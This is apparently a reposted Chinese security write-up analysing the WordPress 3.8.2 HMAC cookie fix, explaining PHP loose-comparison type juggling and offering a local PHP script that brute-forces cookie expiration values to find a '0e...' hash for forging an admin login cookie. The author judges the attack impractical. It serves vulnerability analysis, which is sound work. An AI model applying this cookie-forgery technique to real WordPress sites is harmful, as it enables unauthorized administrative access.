<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/1409

    0x00 背景


    看了WordPress 3.8.2補丁分析 HMAC timing attack,眼界大開,原來還可以利用時間差來判斷HMAC。

    但我總覺得這個漏洞并不是簡單的修復這個問題。

    查看了官方提供的資料:“該漏洞是由WordPress的安全團隊成員Jon Cave發現。”。

    也許漏洞還有這樣利用的可能。

    0x01 PHP的特性


    當PHP在進行 ”==”,”!=”等非嚴格匹配的情況下,會按照值的實際情況,進行強制轉換。

    #!php
    <?php
    var_dump(0 == '0'); // true
    var_dump(0 == 'abcdefg'); // true  
    var_dump(0 === 'abcdefg'); // false
    var_dump(1 == '1abcdef'); // true  
    ?>
    

    當有一個對比參數是整數的時候,會把另外一個參數強制轉換為整數。

    0x02 分析修復的代碼


    官方版的diff只在php里改動了一個位置:

    #!diff
    <?php
    -  if ( $hmac != $hash ) {  
    +  if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) { 
    ?>
    

    其中$hmac來源于cookies。是我們可控的一個輸入參數。

    #!php
    <?php
    Admin|1397564163|1f253e501c301bf5bf293c40d7d92ded
    //$username = ‘Admin’;
    //$expiration = 1397564163;
    //$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
    ?>
    

    $hash是以下代碼生成一個md5值。

    #!php
    <?php
    $key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
    $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
    ?>
    

    $hmac == $hash 時,登錄成功。

    那么,有幾種情況會登錄成功。

    #!php
    <?php
    //第一種情況,完全相等。
    $hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
    $hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
    //第二種情況.第一位為數字,第二位為字母
    $hmac = 1;
    $hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
    //第三種情況。第一位為字母
    $hmac = 0;
    $hash = ‘af253e501c301bf5bf293c40d7d92ded’;
    ?>
    

    很明顯,第三種出現的情況非常大。

    那么我們有沒有可能把$hmac構造成一個整數0呢?

    0x03 漏洞利用


    我們看看cookie解析的代碼:

    #!php
    <?php
        $cookie_elements = explode('|', $cookie);
        if ( count($cookie_elements) != 3 )
            return false;
        list($username, $expiration, $hmac) = $cookie_elements;
    ?>
    

    當我們把cookie設置為:

    Admin|1397564163|1
    

    時。$hmac=’1’。但是,$hmac是字符串1,而不是整數1。

    #!php
    <?php
    var_dump($hmac);//string(“1”);
    ?>
    

    非常遺憾,這個漏洞是不能利用的。

    難道官方修復的真的不是這個漏洞?

    0x04 柳暗花明又一村


    還有什么情況能讓字符串識別成整數嗎?是的,還有!

    #!php
    <?php
    var_dump("0" == "0e1234567890123456...32"); // true
    ?>
    

    ‘e’會識別為次方,0的N次方為0;

    所以,這個漏洞的利用方式還可以是: 讓$hmac = ‘0’;

    通過改變$expiration來改變$hash。獲得一個,第一位為0,第二位為e,后面所有位為數字的$hash.

    #!php
    <?php
    $hmac = ‘0’;
    $hash = ‘0e1234567890123456...32’;
    var_dump($hmac == $hash);  // true
    ?>
    

    0x05 攻擊代碼


    本地測試代碼(實際攻擊代碼應該是構造cookies遠程請求):

    #!php
    <?php
        include( 'wp-load.php' );
    
        $user = get_userdata(1);
        $username = $user->user_login;
        $pass_frag = substr($user->user_pass, 8, 4);
    
        $expiration = 9999999999; //設置一個很大的過期時間,然后遞減
    
        while($expiration >0){
            $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
            $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
            if('0' == $hash OR '1'== $hash ){
                echo $expiration.'@'.$hash;
                file_put_contents('done.txt',$expiration.'@'.$hash);
                exit();
            }
            $expiration -= 1;//過期時間-1
            echo $expiration.'@'.$hash."\r\n";
        }
    ?>
    

    通過改變過期時間,嘗試碰撞到可以利用的hash。

    按照理論值。碰撞到可以利用的$expiration幾率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。

    理論上:把cookies設置成 “admin|碰撞到的過期時間|0”,就可以登陸后臺了。

    但是幾率太小,還不如窮舉密碼了。

    Ps:我本地跑了幾個小時了,還沒遇到一個。

    97av